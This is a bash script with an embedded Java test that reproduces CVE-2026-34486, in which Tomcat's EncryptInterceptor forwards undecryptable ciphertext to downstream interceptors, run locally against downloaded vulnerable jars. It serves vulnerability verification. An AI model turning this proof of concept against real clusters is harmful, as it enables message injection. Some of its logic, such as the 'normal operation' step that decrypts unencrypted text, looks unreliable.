#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "=== CVE-2026-34486: Apache Tomcat EncryptInterceptor Bypass ==="
echo "Installing Java and downloading dependencies..."

# Install Java if not present (sudo for sandbox compatibility)
if ! command -v java &>/dev/null; then
    sudo apt-get update -qq && sudo apt-get install -y -qq openjdk-17-jdk-headless 2>&1 | tail -3
fi

# Create working directory
REPRO_DIR=$(mktemp -d)
trap "rm -rf $REPRO_DIR" EXIT

cd "$REPRO_DIR"

# Download vulnerable tomcat-tribes 11.0.20 jar
echo "Downloading tomcat-tribes 11.0.20 (vulnerable version)..."
curl -sL "https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-tribes/11.0.20/tomcat-tribes-11.0.20.jar" -o tomcat-tribes.jar
curl -sL "https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/11.0.20/tomcat-juli-11.0.20.jar" -o tomcat-juli.jar

# Write the test source code
cat > TestEncryptInterceptorBypass.java << 'JAVAEOF'
import java.nio.charset.StandardCharsets;
import java.util.Arrays;

import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelException;
import org.apache.catalina.tribes.ChannelInterceptor;
import org.apache.catalina.tribes.ChannelMessage;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.ChannelInterceptorBase;
import org.apache.catalina.tribes.group.InterceptorPayload;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.io.ChannelData;
import org.apache.catalina.tribes.io.XByteBuffer;

/**
 * CVE-2026-34486: Demonstrates that EncryptInterceptor passes malformed 
 * ciphertext downstream when decryption fails.
 * 
 * The bug: super.messageReceived(msg) is called OUTSIDE the try-catch block,
 * so even when decryption throws GeneralSecurityException, the raw (unprocessed)
 * message still gets forwarded to downstream interceptors.
 */
public class TestEncryptInterceptorBypass {

    static final String ENCRYPTION_KEY = "cafebabedeadbeefbeefcafecafebabe";

    public static void main(String[] args) throws Exception {
        System.out.println("=== CVE-2026-34486: EncryptInterceptor Bypass Reproduction ===");
        System.out.println();

        // Set up the destination interceptor (the one receiving and trying to decrypt)
        EncryptInterceptor dest = new EncryptInterceptor();
        dest.setEncryptionKey(ENCRYPTION_KEY);

        // Set up a capture interceptor downstream to see what gets passed through
        ValueCaptureInterceptor capture = new ValueCaptureInterceptor();
        dest.setPrevious(capture);

        // Initialize the interceptor
        dest.start(Channel.SND_TX_SEQ);

        // STEP 1: First verify normal operation works
        System.out.println("--- Step 1: Verify normal encryption/decryption works ---");
        String originalMessage = "Hello, this is a sensitive cluster message";
        ChannelData normalMsg = new ChannelData(false);
        normalMsg.setMessage(new XByteBuffer(originalMessage.getBytes(StandardCharsets.UTF_8), false));

        // Capture what the normal message looks like after decryption
        capture.clear();
        dest.messageReceived(normalMsg);
        byte[] normalResult = capture.getValue();
        String normalStr = new String(normalResult, StandardCharsets.UTF_8);
        System.out.println("Original message:  " + originalMessage);
        System.out.println("After decrypt:     " + normalStr);
        boolean normalOk = originalMessage.equals(normalStr);
        System.out.println("Normal operation:  " + (normalOk ? "PASS" : "FAIL"));
        System.out.println();

        // STEP 2: Now send a MALFORMED ciphertext - this is the attack
        System.out.println("--- Step 2: Send malformed ciphertext (the bypass) ---");

        // Create a completely invalid ciphertext (random garbage, not encrypted by our key)
        byte[] malformedCiphertext = new byte[] {
            0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
            0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
            (byte) 0xFF, (byte) 0xFE, (byte) 0xFD, (byte) 0xFC,
            0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48
        };

        ChannelData malformedMsg = new ChannelData(false);
        malformedMsg.setMessage(new XByteBuffer(malformedCiphertext, false));

        String inputBeforeHex = bytesToHex(malformedCiphertext);
        System.out.println("Malformed ciphertext input: " + inputBeforeHex);

        // Clear capture and send the malformed message
        capture.clear();

        try {
            dest.messageReceived(malformedMsg);
            System.out.println("messageReceived() completed without throwing exception");
        } catch (Exception e) {
            System.out.println("messageReceived() threw: " + e.getClass().getName() + ": " + e.getMessage());
        }

        // Check what was captured downstream
        byte[] capturedValue = capture.getValue();
        if (capturedValue != null) {
            String capturedHex = bytesToHex(capturedValue);
            System.out.println("Captured downstream:    " + capturedHex);

            boolean bypassConfirmed = Arrays.equals(capturedValue, malformedCiphertext);
            System.out.println();
            if (bypassConfirmed) {
                System.out.println(">>> VULNERABILITY CONFIRMED <<<");
                System.out.println("The malformed ciphertext was forwarded downstream UNCHANGED!");
                System.out.println("Decrypt failed but super.messageReceived() was still called.");
                System.out.println("CVE-2026-34486 is REPRODUCED.");
                System.exit(0);
            } else {
                System.out.println("Captured value differs from input.");
                System.out.println("CVE-2026-34486 may not be reproduced.");
                System.exit(1);
            }
        } else {
            System.out.println("Captured value is null - no bypass detected.");
            System.out.println("This would mean the fix is in place.");
            System.exit(1);
        }
    }

    static String bytesToHex(byte[] bytes) {
        StringBuilder sb = new StringBuilder();
        for (byte b : bytes) {
            sb.append(String.format("%02x", b));
        }
        return sb.toString();
    }

    static class ValueCaptureInterceptor extends ChannelInterceptorBase {
        private byte[] value;

        @Override
        public void sendMessage(Member[] destination, ChannelMessage msg, InterceptorPayload payload)
                throws ChannelException {
            value = msg.getMessage().getBytes();
        }

        @Override
        public void messageReceived(ChannelMessage msg) {
            value = msg.getMessage().getBytes();
        }

        public byte[] getValue() {
            return value;
        }

        public void clear() {
            value = null;
        }
    }
}
JAVAEOF

# Compile
echo "Compiling test..."
javac -cp tomcat-tribes.jar:tomcat-juli.jar TestEncryptInterceptorBypass.java

# Run
echo "Running reproduction test..."
java -ea -cp .:tomcat-tribes.jar:tomcat-juli.jar TestEncryptInterceptorBypass 2>&1

EXIT_CODE=$?
if [ $EXIT_CODE -eq 0 ]; then
    echo ""
    echo "=== REPRODUCTION SUCCESSFUL ==="
    echo "CVE-2026-34486 confirmed in tomcat-tribes 11.0.20"
else
    echo ""
    echo "=== REPRODUCTION FAILED ==="
    echo "Exit code: $EXIT_CODE"
fi

exit $EXIT_CODE
